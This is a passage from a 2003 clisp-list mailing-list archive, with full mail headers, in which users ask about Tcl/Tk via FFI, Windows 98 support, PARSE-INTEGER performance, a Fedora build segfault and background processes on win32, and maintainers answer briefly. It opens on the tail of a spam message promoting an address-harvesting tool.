addresses coeBOT collected were 73% valid. But the address I sent you was incorrect :) If you are interested in this marketing technique click on the coeBOT link at, http://24.101.102.109 Any ways sorry to bug you again, Feel free to send me a nasty e-mail and I will reply to your concerns. I will delete your e-mail address after I send this out. Peter Kelly. From bacilo@gmx.net Sat Nov 08 04:33:07 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AISH4-00039k-00 for ; Sat, 08 Nov 2003 04:33:07 -0800 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AISH4-0004Hb-BX for clisp-list@lists.sourceforge.net; Sat, 08 Nov 2003 04:33:06 -0800 Received: (qmail 7387 invoked by uid 65534); 8 Nov 2003 12:32:58 -0000 Received: from pD9EC9118.dip0.t-ipconnect.de (EHLO gmx.net) (217.236.145.24) by mail.gmx.net (mp009) with SMTP; 08 Nov 2003 13:32:58 +0100 X-Authenticated: #9749365 Message-ID: <3FAE3404.2010507@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 2.8 DATE_IN_FUTURE_24_48 Date: is 24 to 48 hours after Received: date Subject: [clisp-list] again: clisp and tk Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 8 04:34:04 2003 X-Original-Date: Sun, 09 Nov 2003 13:33:08 +0100 Hi, every now and then i make a new attempt to get Tk working from within clisp. i'm not sure if my question is rather a tcl/tk-question than a clisp question, but maybe someone has experience with this kind of stuff. when i execute the following code, everything works fine: a tk-window with a button is drawn and the 'eventtest'-procedure is executed every second (which tells me that the event-loop is active). but the button is dead. there's no reaction when clicking it. am i missing some initialization? (use-package "FFI") (ffi:default-foreign-language :stdc) (def-c-type tcl-interp c-pointer) (def-call-out c-tcl-find-executable (:library "tcl84.dll") (:name "Tcl_FindExecutable") (:arguments (argv0 c-string))) (def-call-out c-tcl-create-interp (:library "tcl84.dll") (:name "Tcl_CreateInterp") (:return-type tcl-interp)) (def-call-out c-tcl-eval (:library "tcl84.dll") (:name "Tcl_Eval") (:arguments (interp tcl-interp) (script c-string)) (:return-type int)) (def-call-out c-tcl-exit (:library "tcl84.dll") (:name "Tcl_Exit") (:arguments (interp tcl-interp)) (:return-type int)) (def-call-out c-tcl-init (:library "tcl84.dll") (:name "Tcl_Init") (:arguments (interp tcl-interp)) (:return-type int)) (def-call-out c-tk-init (:library "tk84.dll") (:name "Tk_Init") (:arguments (interp tcl-interp)) (:return-type int)) (def-call-out c-tk-mainloop (:library "tk84.dll") (:name "Tk_MainLoop") (:return-type nil)) (def-call-out c-tcl-get-obj-result (:library "tcl84.dll") (:name "Tcl_GetObjResult") (:arguments (interp tcl-interp)) (:return-type c-pointer)) (def-call-out c-tcl-get-string-from-obj (:library "tcl84.dll") (:name "Tcl_GetStringFromObj") (:arguments (tcl-obj c-pointer) (length (c-ptr int))) (:return-type c-string)) (defparameter *tcl-interp* nil) (defun tcl-create-interp () (setq *tcl-interp* (c-tcl-create-interp)) (if (not *tcl-interp*) (error "couldn't create interpreter."))) (defun tcl-eval-script (string) (format t "> ~a~%" string) (c-tcl-eval *tcl-interp* string) (format t "~a~%" (tcl-result))) (defun tcl-result () (let ((obj (c-tcl-get-obj-result *tcl-interp*))) (if (null obj) "" (c-tcl-get-string-from-obj obj 0)))) (c-tcl-find-executable "") (tcl-create-interp) (c-tcl-init *tcl-interp*) (c-tk-init *tcl-interp*) (tcl-eval-script "package require Tk") (tcl-eval-script "wm title . \"Hello World Window\"") (tcl-eval-script "button .b -text HelloWorld -command \"puts hello\"") (tcl-eval-script "pack .b") (tcl-eval-script "proc eventtest {} {puts \"hello\"; after 1000 eventtest}") (tcl-eval-script "after 1000 eventtest") (c-tk-mainloop) From jbartal@carolina.rr.com Sun Nov 09 16:12:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AIzfR-0003oK-00 for ; Sun, 09 Nov 2003 16:12:29 -0800 Received: from ms-smtp-01-lbl.southeast.rr.com ([24.25.9.100] helo=ms-smtp-01-eri0.southeast.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AIzfQ-0000hu-NW for clisp-list@lists.sourceforge.net; Sun, 09 Nov 2003 16:12:28 -0800 Received: from pavilion (cpe-069-132-221-062.carolina.rr.com [69.132.221.62]) by ms-smtp-01-eri0.southeast.rr.com (8.12.10/8.12.7) with SMTP id hAA0CMgf019943 for ; Sun, 9 Nov 2003 19:12:25 -0500 (EST) From: "Jacob Bar-Tal" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp and Windows 98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 9 16:13:06 2003 X-Original-Date: Sun, 9 Nov 2003 19:09:57 -0500 Hello, Could you please tell me if the clisp-2.31-win32.zip will work on a Windows 98 system. Thank you for your help, Jacob Bar-Tal From sds@gnu.org Sun Nov 09 17:12:10 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AJ0bC-0003hY-00 for ; Sun, 09 Nov 2003 17:12:10 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AJ0bB-0005zi-Ll for clisp-list@lists.sourceforge.net; Sun, 09 Nov 2003 17:12:09 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AJ0bA-0000y1-00; Sun, 09 Nov 2003 20:12:08 -0500 To: clisp-list@lists.sourceforge.net Cc: "Jacob Bar-Tal" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Jacob Bar-Tal's message of "Sun, 9 Nov 2003 19:09:57 -0500") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp and Windows 98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 9 17:13:06 2003 X-Original-Date: Sun, 09 Nov 2003 20:12:06 -0500 > * Jacob Bar-Tal [2003-11-09 19:09:57 -0500]: > > Could you please tell me if the clisp-2.31-win32.zip will work on a > Windows 98 system. it should. It was built on a w2k, so the full image will not work. But the base should. -- Sam Steingold (http://www.podval.org/~sds) running w2k "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From bruno@clisp.org Tue Nov 11 13:03:34 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AJffi-0004cL-00; Tue, 11 Nov 2003 13:03:34 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AJffh-00088D-E6; Tue, 11 Nov 2003 13:03:33 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id hABL3B5g013492; Tue, 11 Nov 2003 22:03:11 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id hABL3Am13651; Tue, 11 Nov 2003 22:03:11 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1C88237AB8; Tue, 11 Nov 2003 21:01:12 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , clisp-devel@lists.sourceforge.net User-Agent: KMail/1.5 References: <200311112116.14492.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200311112201.11018.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: PARSE-REAL; PARSE-INTEGER & test_number_syntax Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 11 13:04:06 2003 X-Original-Date: Tue, 11 Nov 2003 22:01:11 +0100 Sam wrote: > > 2. test_number_syntax expects an attributecode buffer as second > > argument which it would be stupid to allocate in PARSE-INTEGER. > > what's wrong with stack allocation? 1. Stack allocation of Lisp objects doesn't work in some configurations (see lispbibl.d:DYNAMIC_8BIT_VECTOR for details), 2. (PARSE-INTEGER "42 then a million of other characters .... " :junk-allowed t) should take time O(1) and not O(1000000). It's a performance issue that can hit badly if someone uses PARSE-INTEGER to parse a 1 MB buffer containing thousands of integers. Bruno From gemi@bluewin.ch Thu Nov 13 04:40:54 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AKGmM-0003Rh-00 for ; Thu, 13 Nov 2003 04:40:54 -0800 Received: from mxout.hispeed.ch ([62.2.95.247] helo=smtp.hispeed.ch) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AKGmL-0001mE-P6 for clisp-list@lists.sourceforge.net; Thu, 13 Nov 2003 04:40:53 -0800 Received: from [217.162.138.188] (dclient217-162-138-188.hispeed.ch [217.162.138.188]) by smtp.hispeed.ch (8.12.6/8.12.6/tornado-1.0) with ESMTP id hADCejk9010103 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 13 Nov 2003 13:40:46 +0100 From: Gerard Milmeister To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1 Organization: Universität Zürich Message-Id: <1068727244.1065.6.camel@scriabin.tannenrauch.ch> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by smtp.hispeed.ch id hADCejk9010103 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Building CLISP 2.31 on Fedora Core 1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 13 04:41:15 2003 X-Original-Date: Thu, 13 Nov 2003 13:40:44 +0100 Hi, I am trying to build CLISP 2.31 on Fedora Core 1 and encountered the following issues: 1. In contrast to RH9, in FC1 it is no longer possible to execute a malloced memory without mprotect first. 2. The included configure script is broken. Many variables, like the CL_ ones have not been substituted. I re-autoconfed using an aclocal.m4 file build from the macros in src/m4. 3. In configure.in there have to be macro calls to - CL_MALLOC - CL_SHMAT - CL_SHMGET These have been missing. 4. Now configure script proceeds, and I can now build using make However later ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" results in a segmentation fault: ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault --=20 G=E9rard Milmeister Tannenrauchstrasse 35 8038 Z=FCrich gemi@bluewin.ch From bacilo@gmx.net Thu Nov 13 05:44:54 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AKHmI-00034y-00 for ; Thu, 13 Nov 2003 05:44:54 -0800 Received: from pc13f6.physik.uni-marburg.de ([137.248.132.70] helo=neuro.physik.uni-marburg.de ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AKHmI-0006VG-7o for clisp-list@lists.sourceforge.net; Thu, 13 Nov 2003 05:44:54 -0800 Received: from pc13280.physik.uni-marburg.de ([137.248.132.101] helo=gmx.net) by neuro.physik.uni-marburg.de with esmtp (Exim 3.35 #1 (Debian)) id 1AKHmF-00025i-00 for ; Thu, 13 Nov 2003 14:44:51 +0100 Message-ID: <3FB38AD3.3090307@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030502 Debian/1.2.1-9woody3 X-Accept-Language: eo, en-us, de-de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] run-shell-command / run-program with :wait nil Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 13 05:45:12 2003 X-Original-Date: Thu, 13 Nov 2003 14:44:51 +0100 Hi, I'm not sure if it's a bug in clisp (2.31 2003-09-01), or just me who misunderstood the documentation: i thought that ext:run-shell-command / ext:run-program, provided with the :wait nil keyword would cause an application to be executed in the background. (ext:run-program "bla" :wait nil) hangs until the program "bla" terminates (which unfortunately never happens in my special case) is there a way to launch a program in the background via clisp (winXP)? thanks, Basim From sds@alphatech.com Thu Nov 13 06:16:18 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AKIGg-0006v3-00 for ; Thu, 13 Nov 2003 06:16:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AKIGe-0004W2-0f for clisp-list@lists.sourceforge.net; Thu, 13 Nov 2003 06:16:16 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hADEFg602086; Thu, 13 Nov 2003 09:15:42 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Basim Al-Shaikhli Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3FB38AD3.3090307@gmx.net> (Basim Al-Shaikhli's message of "Thu, 13 Nov 2003 14:44:51 +0100") References: <3FB38AD3.3090307@gmx.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: run-shell-command / run-program with :wait nil Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 13 06:17:11 2003 X-Original-Date: Thu, 13 Nov 2003 09:15:41 -0500 > * Basim Al-Shaikhli [2003-11-13 14:44:51 +0100]: > > is there a way to launch a program in the background via clisp (winXP)? try experimental EXT::LAUNCH. All questions to Arseny. -- Sam Steingold (http://www.podval.org/~sds) running w2k It's not just a language, it's an adventure. Common Lisp. From bacilo@gmx.net Thu Nov 13 06:35:02 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AKIYo-0000yH-00 for ; Thu, 13 Nov 2003 06:35:02 -0800 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AKIYo-00074g-0a for clisp-list@lists.sourceforge.net; Thu, 13 Nov 2003 06:35:02 -0800 Received: from pc13f6.physik.uni-marburg.de ([137.248.132.70]:1450 helo=neuro.physik.uni-marburg.de) by externalmx.vasoftware.com with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.22 #1 (Debian)) id 1AKIYh-00021j-1G for ; Thu, 13 Nov 2003 06:34:55 -0800 Received: from pc13280.physik.uni-marburg.de ([137.248.132.101] helo=gmx.net) by neuro.physik.uni-marburg.de with esmtp (Exim 3.35 #1 (Debian)) id 1AKIYE-0002A8-00 for ; Thu, 13 Nov 2003 15:34:26 +0100 Message-ID: <3FB39672.3070904@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030502 Debian/1.2.1-9woody3 X-Accept-Language: eo, en-us, de-de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: run-shell-command / run-program with :wait nil References: <3FB38AD3.3090307@gmx.net> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 13 06:36:02 2003 X-Original-Date: Thu, 13 Nov 2003 15:34:26 +0100 Sam Steingold wrote: >>* Basim Al-Shaikhli [2003-11-13 14:44:51 +0100]: >> >>is there a way to launch a program in the background via clisp (winXP)? > > > try experimental EXT::LAUNCH. > All questions to Arseny. thanks, i'll try it in the evening... but, coming back to my initial question, what is :wait nil for, if not for backgrounding a program? From sds@alphatech.com Thu Nov 13 07:21:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AKJHn-0007JU-00 for ; Thu, 13 Nov 2003 07:21:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AKJHm-0004HM-Dp for clisp-list@lists.sourceforge.net; Thu, 13 Nov 2003 07:21:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hADFJL619950; Thu, 13 Nov 2003 10:19:21 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Basim Al-Shaikhli Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3FB39672.3070904@gmx.net> (Basim Al-Shaikhli's message of "Thu, 13 Nov 2003 15:34:26 +0100") References: <3FB38AD3.3090307@gmx.net> <3FB39672.3070904@gmx.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: run-shell-command / run-program with :wait nil Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 13 07:22:09 2003 X-Original-Date: Thu, 13 Nov 2003 10:19:21 -0500 > * Basim Al-Shaikhli [2003-11-13 15:34:26 +0100]: > > what is :wait nil for, if not for backgrounding a program? it does not work on win32. when Arseny's EXT::LAUNCH is ready (i.e., does everything what the current quartet or SHELL/MAKE-[INPUT|OUTPUT|IO]-PIPE do, only better), it will become the underlying OS interface and :WAIT will work on win32 too. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't use force -- get a bigger hammer. From lisp-clisp-list@m.gmane.org Tue Nov 18 06:00:16 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AM6Ou-00044n-00 for ; Tue, 18 Nov 2003 06:00:16 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AM6Ou-00082a-94 for clisp-list@lists.sourceforge.net; Tue, 18 Nov 2003 06:00:16 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AM6Or-0000eF-00 for ; Tue, 18 Nov 2003 15:00:13 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AM6Op-0000e7-00 for ; Tue, 18 Nov 2003 15:00:11 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AM6Oo-00050l-00 for ; Tue, 18 Nov 2003 15:00:10 +0100 From: Georges Ko Organization: gko.net Lines: 13 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:ttIE7iuw1z3AfDCiupNTtDW56M4= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Most recent binaries for DEC OSF ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 18 06:01:03 2003 X-Original-Date: Tue, 18 Nov 2003 21:59:45 +0800 Hi, Has someone a recent version on CLISP compiled for DEC OSF? The latest version I have is dated from 2000 or 2001 and doesn't seem to have socket support... Thanks! Georges -- Georges Ko gko@gko.net 2003-11-18 Cycle 78, year 20 (Gui-Wei), month 10 (Gui-Hai), day 25 (Yi-Wei) From xur@wp.pl Wed Nov 26 09:59:15 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AP3wZ-0003ZP-00 for ; Wed, 26 Nov 2003 09:59:15 -0800 Received: from smtp.wp.pl ([212.77.101.160]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AP3wY-0002sw-R5 for clisp-list@lists.sourceforge.net; Wed, 26 Nov 2003 09:59:15 -0800 Received: (WP-SMTPD 13011 invoked from network); 26 Nov 2003 17:58:58 -0000 Received: from qj182.neoplus.adsl.tpnet.pl (HELO darkstar) (xur@[80.50.70.182]) (envelope-sender ) by smtp.wp.pl (wp-smtpd) with SMTP for ; 26 Nov 2003 17:58:57 -0000 From: Szymon To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: elmo/0.8.3 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-AntiVirus: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-ChangeAV: 0 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] newbie problem: invalid byte #xB3 in CHARSET:ASCII conversion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 26 10:00:04 2003 X-Original-Date: Wed, 26 Nov 2003 18:58:28 +0100 Hi. I'm newbie and `dirs' function (below) is my first piece of lisp code (i try clisp only for now). please help. ~$ clisp --version ==> GNU CLISP 2.31 (released 2003-09-01) (built on midas.slackware.lan [127.0.0.1]) ==> Features: ==> (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) ==> Installation directory: /usr/lib/clisp/ ==> User language: ENGLISH question: can I send (to this 